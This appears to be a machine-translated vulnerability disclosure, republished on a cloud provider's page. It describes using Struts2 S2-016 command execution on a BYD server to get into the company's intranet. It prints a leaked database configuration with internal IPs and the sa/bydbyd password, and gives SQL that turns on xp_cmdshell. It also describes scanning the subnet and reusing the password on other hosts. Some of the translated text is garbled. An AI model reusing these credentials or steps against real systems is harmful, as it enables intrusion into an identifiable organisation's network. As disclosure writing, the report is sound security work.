Intranet roaming caused by a system command execution by BYD

Source: Internet
Author: User

Intranet roaming caused by a system command execution by BYD

I mentioned earlier that there may be many servers running commands on the BYD Internet, and it can also be used as a boundary server to roam the Intranet.

Http://csm.byd.com.cn/homeAction.action

S2-016
 

Create a test user and connect to the Remote Desktop. There is an intranet IP Address:
 



On this compute:

Database Configuration Information discovered:

<Bean id = "dataSource" class = "org. apache. commons. dbcp. BasicDataSource" destroy-method = "close"> <! -- SQL Server 2005 for microsoft --> <! -- <Property name = "driverClassName" value = "com. microsoft. sqlserver. jdbc. SQLServerDriver "/> <property name =" url "value =" jdbc: sqlserver: // 10.12.3.143 (137): 1433; databaseName = cms "/> --> <! -SQL Server 2005 for jtds --> <property name = "driverClassName" value = "net. sourceforge. jtds. jdbc. Driver"/> <! -- Official --> <property name = "url" value = "jdbc: jtds: sqlserver: // 10.12.3.20.: 1433/cms"/> <! -- Test --> <! -- <Property name = "url" value = "jdbc: jtds: sqlserver: // 10.12.3.143: 1433/cms "/> --> <property name =" username "value =" sa "/> <property name =" password "value =" bydbyd "/>


Sa permission, privilege escalation, and blocking cmshell Security Options

Directly link the sa to execute the SQL statement and restore it (so this reinforcement is not thorough and you cannot grant the sa permission to common web users at Will ):

EXEC sp_configure 'show advanced options', 1 --

Reconfigure with override --

EXEC sp_configure 'xp _ Your shell', 1 --

Reconfigure with override --

EXEC sp_configure 'show advanced options', 0 --

Then raise the permission to create a test user connection:

This time it should be the core Intranet. I checked the nearby servers:
 



Use the same weak password to scan the 10.12.3. * network segment:

Two more Intranet hosts can be Elevation of Privilege:

10.12.3.126 --- sa/bydbyd



10.12.3.143 --- sa/bydbyd



No more in-depth ~


 

Solution:

The network configuration of border problems is very important. The permissions in O & M also need to be enhanced ~

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.